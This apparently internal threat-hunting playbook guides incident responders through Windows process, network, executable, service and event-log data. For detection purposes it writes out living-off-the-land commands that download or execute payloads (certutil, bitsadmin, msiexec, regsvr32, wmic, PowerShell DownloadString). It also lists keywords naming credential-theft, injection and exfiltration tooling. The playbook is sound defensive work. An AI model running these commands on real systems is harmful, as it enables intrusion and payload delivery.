Investigators should leverage the enriched Process Listing data through IOC searching by grouping data into “known good”, “known bad”, and “unknown” data sets. Grouping running processes by their IOC searching results provides investigators with additional context for analysis. For example, in the “known good” data set, investigators can assume that the programs referenced in the data set are likely not malware, so investigators can pay close attention to the Command Line field or the Path field. For example, consider the Logon entry for “*C:\windows\system32\lkajsdlkfa\notepad.exe”* in the “known good” data set. “Notepad.exe” is a legitimate Microsoft executable however an attacker could copy “notepad.exe” from its original location (%windir% or %windir%\system32) to a random directory a take advantage of search order hijacking to load a malicious DLL. Once the malicious DLL and “Notepad.exe” files are staged, an attacker can execute “Notepad.exe” with “powershell.exe -windowstyle hidden -command "*start-process -windowstyle hidden -filepath C:\windows\system32\lkajsdlkfa\notepad.exe* ". In this case the launcher (PowerShell) and the executor (Notepad) are both legitimate executables which would not be detected through standard IOC searching but are easily identifiable as anomalous through analyzing the path and command line arguments. It is recommended that investigators combine grouping and stacking techniques by stacking grouped data sets for more effective hunting.

#### Keyword Searching

##### Remote Admin Tools

Remote administration Tools (RATs) are legitimate software tools that allow remote access to an endpoint. They are often used legitimately but can also be used by malicious actors for stealthy privileged access.

Investigators should search the raw data set for RATs such as:

· Psexec

· Psexesvc

· Winexesvc

· Winvnc

· Teamviewer

· Screenconnect

· NetSupport

· RemoteInstaller

· Any other widely used RAT

##### Note: Investigators should review the results of the RAT keyword searches for RAT in suspicious directories. All RATs flagged by the investigator as suspicious should be triaged for signs of malicious activity.

##### Known Bad Keywords

Investigators should scan the data set for known bad file names/paths and common attacker tools using open source or proprietary intelligence sources such as the Loki IOC scanner tool (<https://github.com/Neo23x0/Loki>)

XFIR NA maintains a suspicious filename list here: <https://github.ibm.com/XFIR/ATA/blob/master/ATA%20Scripts/Suspicious_Filename_Regex.txt>

#### Stacking

At a minimum, investigators should stack the “Path” and “Command Line” fields of the Process List collection and review the stacked data for evidence of execution of malware, utilities, scripts and programs with unusual names and running out of non-standard directories.

Any Process Listing entries that are flagged by the investigator as suspicious should be triaged for signs of malicious activity.

##### What to Look For

###### Anomalies

Investigators should review the stacked data and review the results for statistical outliers (executables that exist/existed on only a small percentage of endpoints in the enterprise or that exist on a large amount of endpoints.)

Investigators should pay special attention to Autoruns entries that are associated with suspicious directories such as:

· %SystemRoot%

· %UserProfile%

· %WinDir%\Temp

%SystemRoot%\Temp

%Temp%

%HomeDrive%

%AppData%

%AllUsersProfile%

%Public%

Recycling Bin

And/or Autoruns entries that possess suspicious characteristics such as:

Single or random character names

Match names of Microsoft executables but are in nonstandard directories

Nonstandard executable extensions (.txt, .jpg, .gif, etc)

###### Living Off the Land (LOL) Tools

Investigators should pay special attention to the “Command Line” entries associated with LOL tools for suspicious command line parameters.

###### appsyncvpublishing.exe

* Description: This utility supports the ability to execute PowerShell making it an excellent alternative to Powershell.exe.
* Example: SyncAppvPublishingServer.exe "n;calc"\*

###### control.exe

* Description: The control panel feature within Windows supports the execution of arbitrary DLLs as demonstrated in the shadowbrokers release. (<https://www.dearbytes.com/blog/playing-around-with-nsa-hacking-tools/>)
* Example: control.exe payload.dll\*

##### csc.exe

* Description: The .NET compiler can be used to compile a c# payload locally that can then be executed.
* Example: C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /out:payload.exe payload.cs\*
* Example \*payload.cs: public class x{public static void Main(){System.Diagnostics.Process.Start("calc");}}\*

##### cscript.exe/wscript.exe

* Description: Windows script engines that support both VBS and JScript execution. CScript is the console version, WScript is the Window version. Neither version supports scripts being supplied on the command line, instead a file must be created containing the script or a funky bat file wrapper.
* Example: \*cscript.exe test.vbs (where test.vbs contains WScript.Echo "test")\*

##### forfiles.exe

* Description: Forfiles supports the ability to execute commands and seems to be equivalent to cmd.
* Example: \*forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe\*

##### msbuild.exe

* Description - Microsoft's build utility where you can supply an inline build task to execute code (<https://msdn.microsoft.com/en-us/library/dd722601.aspx>)
* Example: \*C:\Windows\Microsoft.NET\Framework\v2.0.50727\msbuild.exe \server\payload\*

##### msiexec.exe

* Description - The Windows installer typically used to install new software or patches. It be used to download and execute a remote payload.
* Example: \*msiexec /i [http://server/package.msi](http://server/package.msi)\*
* Example: \*msiexec /y payload.dll\*
* Example: \*msiexec /z payload.dll\*

##### mshta.exe

* Description: MSHTA can be used to execute HTA files (containing scripts) or directly execute VBScript/JScript from the command line.
* Example: \*mshta bad.hta\*
* Example: \*mshta vbscript:Execute("MsgBox(""amessage"",64,""atitle"")(window.close)")\*
* Example: \*mshta javascript:alert('test');\*
* Example HTA: \*<html><HTA:APPLICATION icon="#" WINDOWSTATE="minimize" SHOWINTASKBAR="no" SYSMENU="no" CAPTION="no" script language="VBScript" Set objShell = CreateObject("Wscript.Shell") objShell.Run "calc.exe" Close

1. script

##### powershell.exe

* Description: The most well known and most useful attacker utility. Powershell can be operated in console mode, with commands provided on the command line or through passing a ps1 file containing commands.
* Example: powershell -c calc
* Example: powershell -exec bypass -File test.ps1

##### regsvr32.exe

* Description: Command-line tool that registers dll files as command components in the registry. Notable for its use to bypass UAC and useful as it supports remote DLL retrieval with scrobj.dll. No arguments need to be supplied to regsvr32 if the dll exports the function DllRegisterServer.
* Example: regsvr32 /s /n /u /i:[URL] scrobj.dll
* Example: regsvr32 payload.dll

##### rundll32.exe

* Description: Loads and runs DLLs. Three parameters are typically used, the DLL to be executed, the function within the DLL to call and any arguments.
* Example: rundll32 SHELL32.DLL,ShellExec\_RunDLL "calc"
* Example: rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";alert('test');

##### winrm.exe

* Description: WinRM, or Windows Remote Management provides the ability to remotely execute wmi commands. The winrm service is disabled by default but can be enabled.
* Example: winrm qc -q & winrm i c wmicimv2/Win32\_Process @{CommandLine="calc"}

##### wmic.exe

* Description: Command line tool for WMI.
* Example: wmic process call create "cmd.exe /c calc"
* Example: wmic /node:[targetIPaddr] /user:[admin] process call create "cmd.exe /c [command]"
* Example: wmic os get /format:"https://server/payload.xsl

##### certutil.exe

* Description: Allows you to download a payload.
* Example: certutil -ping [URL]
* Example: certutil -urlcache -split -f [URL] [output-file]

##### bitsadmin.exe

* Description: Allows you to download a payload.
* Example: bitsadmin /transfer [job-name] /download /priority normal [URL-to-payload] [output-path]

##### powershell.exe

* Description: Allows you to download a payload.
* Example: powershell -c "(New-Object System.Net.WebClient).DownloadString('https://google.com')"

### References

UAC Bypasses: <https://github.com/hfiref0x/UACME>

LOL Tools: <https://github.com/api0cradle/LOLBAS>

MITRE Execution: <https://attack.mitre.org/tactics/TA0002/>

## Active Network Connection Metadata (netstat)

The Portview and Get-Netstat data collections are snapshots of all network connected running processes on all endpoints.

### Important Fields

Get-Netstat

· ExecutablePath

· CommandLine

· Owner

· RemoteAddress

Port View

· Process Path

· Remote Address

· Remote Host Name

· Username

### Hunt Value

It is common for cyber-attacks to originate from outside of the network requiring the attacker to obtain and maintain remote access to one or more systems. Analyzing active network connections and listening ports and processes allows investigators to uncover backdoors, data exfiltration, and lateral movement.

### Hunting Techniques

#### IOC Searching

At a minimum, Investigators should submit a deduplicated list of each Internet routable IP address and domain value to an intel repository (Reversing Labs, VirusTotal, Sherlock) to identify known bad hashes.

All IP addresses and domains flagged as Malicious or Suspicious by the intelligence source should be triaged for signs of malicious activity.

#### Grouping

Investigators should leverage the remote host and remote IP address fields of the PortView or Get-Netstat collections to group the collected data into “External” and “Internal” data sets. Grouping network connection data by an internal and external designation gives investigators context to the data allowing for a more focused analysis approach.

For example, investigators reviewing internal network connections can focus efforts on reviewing data associated with the ports 445, 137, 139, and 3389 looking for signs of lateral movement. Conversely, investigators can focus efforts on identifying evidence of C2 or data exfiltration in the external network connections data.

#### Keyword Searching

##### Remote Admin Tools

Remote administration Tools (RATs) are legitimate software tools that allow remote access to an endpoint. They are often used legitimately but can also be used by malicious actors for stealthy privileged access.

Investigators should search the raw data set for RATs such as:

· Psexec

· Psexesvc

· Winexesvc

· Winvnc

· Teamviewer

· Screenconnect

· NetSupport

· RemoteInstaller

· Any other widely used RAT

Note: Investigators should review the results of the RAT keyword searches for RAT in suspicious directories and/or connections to internet routable IP addresses. All RATs flagged by the investigator as suspicious should be triaged for signs of malicious activity.

##### Living off the Land Tools

Investigators should search for all LOL tools that are capable of downloading a payload or uploading data to a remote location.

##### certutil.exe

· Description: Allows you to download a payload.

Example: \*certutil -ping [URL]\*

Example: \*certutil -urlcache -split -f [URL] [output-file]\*

##### bitsadmin.exe

Description: Allows you to download a payload.

Example: bitsadmin /transfer [job-name] /download /priority normal [URL-to-payload] [output-path]

##### powershell.exe

Description: Allows you to download a payload.

Example: powershell -c "(New-Object System.Net.WebClient).DownloadString('https://google.com')"

#### Stacking

At a minimum, investigators should stack the “Path” and “Remote Address” fields of the PortView or Get-Netstat collections and review the stacked data for evidence of execution of malware, utilities, scripts and programs with unusual names and running out of non-standard directories.

Any network connections entries that are flagged by the investigator as suspicious should be triaged for signs of malicious activity.

##### What to Look For

###### Anomalies

Investigators should review the stacked data and review the results for statistical outliers (executables that exist/existed on only a small percentage of endpoints in the enterprise or that exist on a large amount of endpoints.)

Investigators should pay special attention to network connections entries that are associated with processes running from suspicious directories such as:

· %SystemRoot%

· %UserProfile%

· %WinDir%\Temp

· %SystemRoot%\Temp

· %Temp%

· %HomeDrive%

· %AppData%

· %AllUsersProfile%

· %Public%

· Recycling Bin

And/or network connection entries that possess suspicious characteristics such as:

· Associated with an internet routable IP address

· Nonstandard ports

· Microsoft remote management ports ( examples: 445, 137, 139, 3389)

### References

<http://www.enterprisenetworkingplanet.com/netos/article.php/3727336/Spot-Malware-on-Your-Windows-Hosts-with-netstat.htm>

<https://github.com/ThreatHuntingProject/ThreatHunting/blob/master/hunts/rogue_listeners.md>

<https://www.slideshare.net/sqrrl/how-to-hunt-for-lateral-movement-on-your-network>

<https://lolbas-project.github.io/#/download>

## Executable Metadata

The Executable Metadata collection collects details about every file on a Windows system with the extension “exe”.

Note: By default, the Executable Metadata collection will skip executables that are in use by the system. The collection can be changed to collect all files regardless of their status.

### Important Fields

File Name – Full path to executable

MD5 – MD5 Hash of the executable

Created – NTFS file stamp of when the executable was created

Modified - NTFS file stamp of when the executable was last modified

### Hunt Value

It is not uncommon for attackers to leave dormant backdoors or tools on systems after a successful compromise. Attackers leave tools in an environment for future operations, can lose access to systems before successfully covering their tracks, or stealth may not be a priority. Collecting metadata from all executables regardless if they are ever executable can help investigators uncover a historical compromise or dormant attackers.

Additionally, the “Executable Metadata” NTFS timestamp data can be used as a pivot point to fuse two or more data sources. For example, if an investigator finds a suspicious entry in the Windows Event Logs, he or she can use the timestamp from the log to search the Executable Metadata data for executables created on the disk around the same time of the suspicious event.

### Hunting Techniques

#### IOC Searching

At a minimum, Investigators should submit a deduplicated list of each MD5 or SHA1 hash value to an intel repository (Reversing Labs, VirusTotal, Sherlock) to identify known bad hashes.

All hashes flagged as Malicious or Suspicious by the intelligence source should be triaged for signs of malicious activity.

#### Grouping

Investigators should leverage the enriched Executable Metadata data through IOC searching by grouping data into “known good”, “known bad”, and “unknown” data sets. Grouping executables by their IOC searching results provides investigators with additional context for analysis. For example, in the “known good” data set, investigators can assume that the programs referenced in the data set are likely not malware, so investigators can pay close attention to the Path field. For example, consider the Logon entry for “*C:\windows\system32\lkajsdlkfa\notepad.exe*” in the “known good” data set. “Notepad.exe” is a legitimate Microsoft executable however an attacker could copy “notepad.exe” from its original location (%windir% or %windir%\system32) to a random directory a take advantage of search order hijacking to load a malicious DLL. It is recommended that investigators combine grouping and stacking techniques by stacking grouped data sets for more effective hunting.

#### Keyword Searching

##### Remote Admin Tools

Remote administration Tools (RATs) are legitimate software tools that allow remote access to an endpoint. They are often used legitimately but can also be used by malicious actors for stealthy privileged access.

Investigators should search the raw data set for RATs such as:

· Psexec

· Psexesvc

· Winexesvc

· Winvnc

· Teamviewer

· Screenconnect

· NetSupport

· RemoteInstaller

· Any other widely used RAT

Note: Investigators should review the results of the RAT keyword searches for RAT in suspicious directories. All RATs flagged by the investigator as suspicious should be triaged for signs of malicious activity.

##### Known Bad Keywords

Investigators should scan the data set for known bad file names/paths and common attacker tools using open source or proprietary intelligence sources such as the Loki IOC scanner tool (<https://github.com/Neo23x0/Loki>)

XFIR NA maintains a suspicious filename list here: <https://github.ibm.com/XFIR/ATA/blob/master/ATA%20Scripts/Suspicious_Filename_Regex.txt>

#### Stacking

At a minimum, investigators should stack the “Path” fields of the Executable Metadata collection and review the stacked data for evidence of execution of malware or programs with unusual names and running out of non-standard directories.

Any Executable Metadata entries that are flagged by the investigator as suspicious should be triaged for signs of malicious activity.

##### What to Look For

###### Anomalies

Investigators should review the stacked data and review the results for statistical outliers (service Dlls that exist/existed on only a small percentage of endpoints in the enterprise or that exist on a large amount of endpoints.)

Investigators should pay special attention to entries that are associated with executables that exist in suspicious directories such as:

· %SystemRoot%

· %UserProfile%

· %WinDir%\Temp

· %SystemRoot%\Temp

· %Temp%

· %HomeDrive%

· %AppData%

· %AllUsersProfile%

· %Public%

·Recycling Bin

Additionally, Investigators should pay special attention to entries that are associated with Microsoft executables in non-standard directories as this could be indicative of DLL search order hijacking

### References

<https://resources.infosecinstitute.com/category/enterprise/threat-hunting/iocs-and-artifacts/#gref>

<https://resources.infosecinstitute.com/category/enterprise/threat-hunting/iocs-and-artifacts/threat-hunting-for-file-names-as-an-ioc/#gref>

<https://resources.infosecinstitute.com/category/enterprise/threat-hunting/iocs-and-artifacts/threat-hunting-for-file-hashes-as-an-ioc/#gref>

## Hosted Services

Hosted Services – Hosted Services are implemented as Dynamic Link Libraries (DLLs) which are loaded by the Microsoft Windows service hosting process, “svchost.exe”. To avoid loading each service under a separate instance of “svchost.exe”, Windows will load hosted services in groups under shared instances of “svchost.exe”.

Each service group is configured in the Registry key “HKEY\_LOCAL\_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SVCHOST” and each service group has different levels of privileges.

### Important fields

ServiceName – Name of the hosted service

ServiceDll – Full path of the service DLL

ServiceDllSigStatus – Signature status of the service DLL

ServiceDLLMD5 – MD5 sum of the service DLL

Service Group – Service group that loads the service Dll

### Hunting Value

Attackers commonly target Windows Services because they can be configured to run with the highest level of privileged account available, bypass UAC on Windows 7 and 8, and can be configured to launch automatically. Windows services come in two types: “Standalone” and “Hosted Services”. Standalone services are implemented as stand-alone executables and exist in their own running process. Hosted Services are "hosted" by the Windows Service Host (svchost.exe) and are implemented as modules, also called Dynamic Link Libraries (DLLs). An audit of the standalone services is covered with the Autoruns data collection, however detecting malicious Hosted Services is not possible with Autoruns which provides an additional level of stealth for attackers. The service group “netsvcs” is a one of the few service groups that has unrestricted network access and therefore is often the target for manipulation by attackers. Attackers can manipulate a hosted service by replacing a legitimate DLL with a malicious DLL for an active service or hijacking an unused service by creating the requisite registry keys to register the service in “HKEY\_LOCAL\_MACHINE\CURRENTCONTROLSET\SERVICES”.

### Hunting Techniques

#### IOC Searching

At a minimum, Investigators should submit a deduplicated list of each MD5 hash value to an intel repository (Reversing Labs, VirusTotal, Sherlock) to identify known bad hashes.

All hashes flagged as Malicious or Suspicious by the intelligence source should be triaged for signs of malicious activity.

#### Stacking

Investigators should stack (at a minimum) the ServiceDll column of the data collection and review the stacked data for evidence of execution of malware, utilities, scripts and programs with unusual names and running out of non-standard directories.

##### What to Look For

###### Anomalies

Investigators should review the stacked data and review the results for statistical outliers (service Dlls that exist/existed on only a small percentage of endpoints in the enterprise or that exist on a large amount of endpoints.)

Investigators should pay special attention to entries that are associated with Service Dlls that exist in suspicious directories such as:

· %SystemRoot%

· %UserProfile%

· %WinDir%\Temp

· %SystemRoot%\Temp

· %Temp%

· %HomeDrive%

· %AppData%

· %AllUsersProfile%

· %Public%

· Recycling Bin

### References

<https://threatvector.cylance.com/en_us/home/windows-registry-persistence-part-1-introduction-attack-phases-and-windows-services.html>

<https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/>

## Windows Event Logs

Windows Event Logs are collected during the Hunting Logs and Windows Event Log data collections. The types of Windows Event Logs vary between the data collection types.

Hunting Logs Event IDs:

**Log Source**

**Event ID**

**Description**

**System**

7045

A service was installed in the system Service

7040

The start type of a service was changed

7036

A Service state has changed

7023

A service terminated due to error

**Security**

4688

A new process has been created

4697

A service was installed in the system Service

4698

A scheduled task was created

4648

A logon was attempted using explicit credentials

5140

Network share was accessed

5145

Network share access check

4624

An account logged on

4657

A registry value was modified

4732

user was added to a group

4776

machine attempted to validate credentials

4720

user account was created

4728

user was added to a group

4674

An operation was attempted on a privileged object

4648

A logon was attempted using explicit credentials

**Application**

1000

Application Crash

45 (source: Symantec AntiVirus)

Tamper Protection Detection

51 (source: Symantec AntiVirus)

Security Risk Found

**Microsoft-Windows-Bits-Client/Operational**

59

BITS Transfer Started

60

BITS Transfer Stopped

**Microsoft-Windows-PowerShell/Operational**

4100

PowerShell Pipeline Error

4103

PowerShell Pipeline Execution

4104

PowerShell Remote Command

**Windows PowerShell**

800

PowerShell Pipeline Execution

500

PowerShell Execution

501

PowerShell Execution

**EMET**

2

EMET Detected

**SysMon**

1

Process Created

5

Process Terminated

3

Network Connection

**Microsoft-Windows-TerminalServices-LocalSessionManager/Operational**

21

Session Logon

22

Session Shell Start

25

Session Reconnect

**Microsoft-Windows-Terminal-Services-RemoteConnectionManager/Operational**

1149

Successful Authentication

**Microsoft-Windows-Windows Defender/Operational**

1006

Windows Defender Threat Detection

1015

Windows Defender Suspicious Behavior

1116

Windows Defender Malware Detected

**Microsoft-Windows-TaskScheduler/Operational**

106

Scheduled Task Registered

200

Task Scheduler launched action

129

Task Scheduler launched task

201

Task Scheduler Finished Task

**Microsoft-Windows-WMI-Activity/Operational**

5861

WMI subscription created/modified

Windows Event Log Event IDs:

**Log Source**

**Event ID**

**Description**

**System**

7045

A service was installed in the system Service

7040

The start type of a service was changed

7036

A Service state has changed

7023

A service terminated due to error

**Security**

4688

A new process has been created

4697

A service was installed in the system Service

4698

A scheduled task was created

4648

A logon was attempted using explicit credentials

5140

Network share was accessed

5145

Network share access check

4624

An account logged on

4657

A registry value was modified

4732

user was added to a group

4776

machine attempted to validate credentials

4720

user account was created

4728

user was added to a group

4674

An operation was attempted on a privileged object

4648

A logon was attempted using explicit credentials

**Application**

1000

Application Crash

45 (source: Symantec AntiVirus)

Tamper Protection Detection

51 (source: Symantec AntiVirus)

Security Risk Found

### Important Fields

### Hunt Value

The Windows Event Logs are extremely valuable for investigators. Key auditing capabilities for account logons, credential use, object access, process execution, and service installations often provide excellent sources for identifying and creating a timeline of malicious activity.

### Hunting Techniques

#### Stacking

Investigators should leverage the XFIR tool “EVTX Juicer” located here: <https://github.ibm.com/XFIR/core/tree/master/data-processing/juicer> which will automatically extract and stack the relevant data for each high value Event ID.

##### What to Look For

###### Anomalies

Investigators should review the stacked log data from the EVTX Juicer tool and pay special attention to entries associated with data that are statistical outliers. Within each event log type identifying malicious activity is highly dependent on the activity being logged.

Services, Tasks, PRocesses

Event Logs Associated with Windows Services, process execution, Scheduled Tasks, and WMI Event Subscriptions should pay special attention to entries associated with remote access tools (RATs), living off the land (LOL) tools and suspicious file paths:

#### LOL Tools:

##### appsyncvpublishing.exe

* Description: This utility supports the ability to execute PowerShell making it an excellent alternative to Powershell.exe.
* Example: SyncAppvPublishingServer.exe "n;calc"

##### control.exe

* Description: The control panel feature within Windows supports the execution of arbitrary DLLs as demonstrated in the shadowbrokers release. (<https://www.dearbytes.com/blog/playing-around-with-nsa-hacking-tools/>)
* Example: control.exe payload.dll

##### csc.exe

* Description: The .NET compiler can be used to compile a c# payload locally that can then be executed.
* Example: C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /out:payload.exe payload.cs
* Example payload.cs: public class x{public static void Main(){System.Diagnostics.Process.Start("calc");}}

##### cscript.exe/wscript.exe

* Description: Windows script engines that support both VBS and JScript execution. CScript is the console version, WScript is the Window version. Neither version supports scripts being supplied on the command line, instead a file must be created containing the script or a funky bat file wrapper.
  + Example: cscript.exe test.vbs (where test.vbs contains WScript.Echo "test")

##### forfiles.exe

* Description: Forfiles supports the ability to execute commands and seems to be equivalent to cmd.
* Example: forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe

##### msbuild.exe

* Description - Microsoft's build utility where you can supply an inline build task to execute code (<https://msdn.microsoft.com/en-us/library/dd722601.aspx>)
* Example: C:\Windows\Microsoft.NET\Framework\v2.0.50727\msbuild.exe \server\payload

##### msiexec.exe

* Description - The Windows installer typically used to install new software or patches. It be used to download and execute a remote payload.
* Example: msiexec /i [http://server/package.msi](http://server/package.msi)
* Example: msiexec /y payload.dll
* Example: msiexec /z payload.dll

##### mshta.exe

* Description: MSHTA can be used to execute HTA files (containing scripts) or directly execute VBScript/JScript from the command line.
* Example: mshta bad.hta
* Example: mshta vbscript:Execute("MsgBox(""amessage"",64,""atitle"")(window.close)")
* Example: mshta javascript:alert('test');
* Example HTA: <html><HTA:APPLICATION icon="#" WINDOWSTATE="minimize" SHOWINTASKBAR="no" SYSMENU="no" CAPTION="no" /><script language="VBScript"> Set objShell = CreateObject("Wscript.Shell") objShell.Run "calc.exe" Close

##### powershell.exe

* Description: The most well known and most useful attacker utility. Powershell can be operated in console mode, with commands provided on the command line or through passing a ps1 file containing commands.
* Example: powershell -c calc
* Example: powershell -exec bypass -File test.ps1

##### regsvr32.exe

* Description: Command-line tool that registers dll files as command components in the registry. Notable for its use to bypass UAC and useful as it supports remote DLL retrieval with scrobj.dll. No arguments need to be supplied to regsvr32 if the dll exports the function DllRegisterServer.
* Example: regsvr32 /s /n /u /i:[URL] scrobj.dll
* Example: regsvr32 payload.dll

##### rundll32.exe

* Description: Loads and runs DLLs. Three parameters are typically used, the DLL to be executed, the function within the DLL to call and any arguments.
* Example: rundll32 SHELL32.DLL,ShellExec\_RunDLL "calc"
* Example: rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";alert('test');

##### winrm.exe

* Description: WinRM, or Windows Remote Management provides the ability to remotely execute wmi commands. The winrm service is disabled by default but can be enabled.
* Example: winrm qc -q & winrm i c wmicimv2/Win32\_Process @{CommandLine="calc"}

##### wmic.exe

* Description: Command line tool for WMI.
* Example: wmic process call create "cmd.exe /c calc"
* Example: wmic /node:[targetIPaddr] /user:[admin] process call create "cmd.exe /c [command]"
* Example: wmic os get /format:"https://server/payload.xsl

##### certutil.exe

* Description: Allows you to download a payload.
* Example: certutil -ping [URL]
* Example: certutil -urlcache -split -f [URL] [output-file]

##### bitsadmin.exe

* Description: Allows you to download a payload.
* Example: bitsadmin /transfer [job-name] /download /priority normal [URL-to-payload] [output-path]

##### powershell.exe

* Description: Allows you to download a payload.
* Example: powershell -c "(New-Object System.Net.WebClient).DownloadString('https://google.com')"

###### RATs:

· Psexec

· Psexesvc

· Winexesvc

· Winvnc

· Teamviewer

· Screenconnect

· NetSupport

· RemoteInstaller

· Any other widely used RAT

###### Suspicious file paths:

· %SystemRoot%

· %UserProfile%

· %WinDir%\Temp

· %SystemRoot%\Temp

· %Temp%

· %HomeDrive%

· %AppData%

· %AllUsersProfile%

· %Public%

· Recycling Bin

PowerShell

Event logs associated with Windows PowerShell script activity investigators should pay special attention to PowerShell activity associated with the following keywords:

**Set-ExecutionPolicy**

**Out-Excel**

**Set-MasterBootRecord**

Out-Java

**Get-WMIObject**

Out-Shortcut

**Get-GPPPassword**

Out-CHM

**Get-Keystrokes**

Out-HTA

**Get-TimedScreenshot**

Out-Minidump

**Get-VaultCredential**

HTTP-Backdoor

**GetServiceUnquoted**

FindAVSignature

**Get-ServiceEXEPerms**

DllInjection

**Get-ServicePerms**

ReflectivePEInjection

**Get-RegAlwaysInstallElevated**

Base64

**Get-RegAutoLogon**

System.Reflection

**Get-UnattendedInstallFiles**

System.Management $ Restore-ServiceEXE

**Get-Webconfig**

Add-ScrnSaveBackdoor

**Get-ApplicationHost**

Gupt-Backdoor

**Get-PassHashes**

Execute-OnTime

**Get-LsaSecret**

DNS\_TXT\_Pwnage

**GetInformation**

WriteUserAddServiceBinary

**Get-PSADForestInfo**

Write-CMDServiceBinary

**Get-KerberosPolicy**

Write-UserAddMSI

**Get-PSADForestKRBTGTInfo**

Write-ServiceEXE

**GetKerberosPolicy $ Invoke-Command**

Write-ServiceEXECMD

**Invoke-Expression**

Enable-DuplicateToken

**iex**

Remove-Update

**Invoke-Shellcode**

Execute-DNSTXT-Code

**Invoke--Shellcode**

Download-Execute-PS

**Invoke-ShellcodeMSIL**

Execute-CommandMSSQL

**InvokeMimikatzWDigestDowngrade**

Download\_Execute

**Invoke-NinjaCopy**

Copy-VSS

**Invoke-CredentialInjection**

Check-VM

**Invoke-TokenManipulation**

Create-MultipleSessions

**InvokeCallbackIEX**

Run-EXEonRemote

**Invoke-PSInject**

Port-Scan

**Invoke-DllEncode**

Remove-PoshRat

**Invoke-ServiceUserAdd**

TexttoEXE

**Invoke-ServiceCMD**

Base64ToString

**Invoke-ServiceStart**

StringtoBase64

**Invoke-ServiceStop**

Do-Exfiltration

**Invoke-ServiceEnable**

Parse\_Keys

**Invoke-ServiceDisable**

Add-Exfiltration

**Invoke-FindDLLHijack**

AddPersistence

**Invoke-FindPathHijack**

Remove-Persistence

**Invoke-AllChecks**

Find-PSServiceAccounts

**Invoke-MassCommand**

Discover-PSMSSQLServers

**Invoke-MassMimikatz**

DiscoverPSMSExchangeServers

**Invoke-MassSearch**

Discover-PSInterestingServices

**Invoke-MassTemplate**

Discover-PSMSExchangeServers

**Invoke-MassTokens**

DiscoverPSInterestingServices $ Mimikatz

**Invoke-ADSBackdoor**

powercat

**Invoke-CredentialsPhish**

powersploit

**Invoke-BruteForce**

PowershellEmpire

**Invoke-PowerShellIcmp**

Payload

**Invoke-PowerShellUdp**

GetProcAddress

**Invoke-PsGcatAgent**

enc

**Invoke-PoshRatHttps**

encodedcommand

**Invoke-PowerShellTcp**

nop

**Invoke-PoshRatHttp**

noprofile

**Invoke-PowerShellWmi**

::ToBase64String::

**Invoke-PSGcat**

::FromBase64String::

**Invoke-Encode**

Net.WebClient

**Invoke-Decode**

noni

**Invoke-CreateCertificate**

noninteractive

**InvokeNetworkRelay**

mimikatz

**$ EncodedCommand**

invoke-mimikatz

**New-ElevatedPersistenceOption**

http

**wsman**

https

**Enter-PSSession**

System.IO.Compression.GzipStream

**DownloadString**

System.IO.MemoryStream

**DownloadFile $ Out-Word**

byte[]

**IO.Compression.DeflateStream**

IO.StreamReader

Authentications

While reviewing event logs associated with authentication events, investigators should focus efforts on uncovering data associated with lateral movement or privilege escalation.

**Lateral Movement:**

Attackers often target services like Admin Shares and Remote Desktop to move laterally in an environment and can be detected through analysis of event logs.

Pass The Hash: <https://www.cyberark.com/threat-research-blog/detecting-pass-the-hash-with-windows-event-viewer/>

Hunting for Lateral Movement: <https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1536265369.pdf>

**Privilege Escalation:**

<https://sourcedaddy.com/windows-7/how-to-configure-auditing-privilege-elevation.html>

<https://logrhythm.com/webcasts/monitoring-privileged-accounts-with-windows-security-log/>

BITs Client Activity

Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM). BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.

The interface to create and manage BITS jobs is accessible through PowerShell and the BITSAdmin tool.

Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.

Investigators should review the stacked data from the EVTX Juicer for Internet routable domains or IP addresses for signs of malicious activity.

### References

<https://www.slideshare.net/Hackerhurricane/the-top-10-windows-logs-event-ids-used-v10>

<https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1524493093.pdf>

<https://isc.sans.edu/forums/diary/Windows+Events+log+for+IRForensics+Part+1/21493/>

<https://threatvector.cylance.com/en_us/home/Uncommon-Event-Log-Analysis-for-Incident-Response-and-Forensic-Investigations.html>

<https://resources.infosecinstitute.com/advance-persistent-threat-lateral-movement-detection-windows-infrastructure-part-ii/#gref>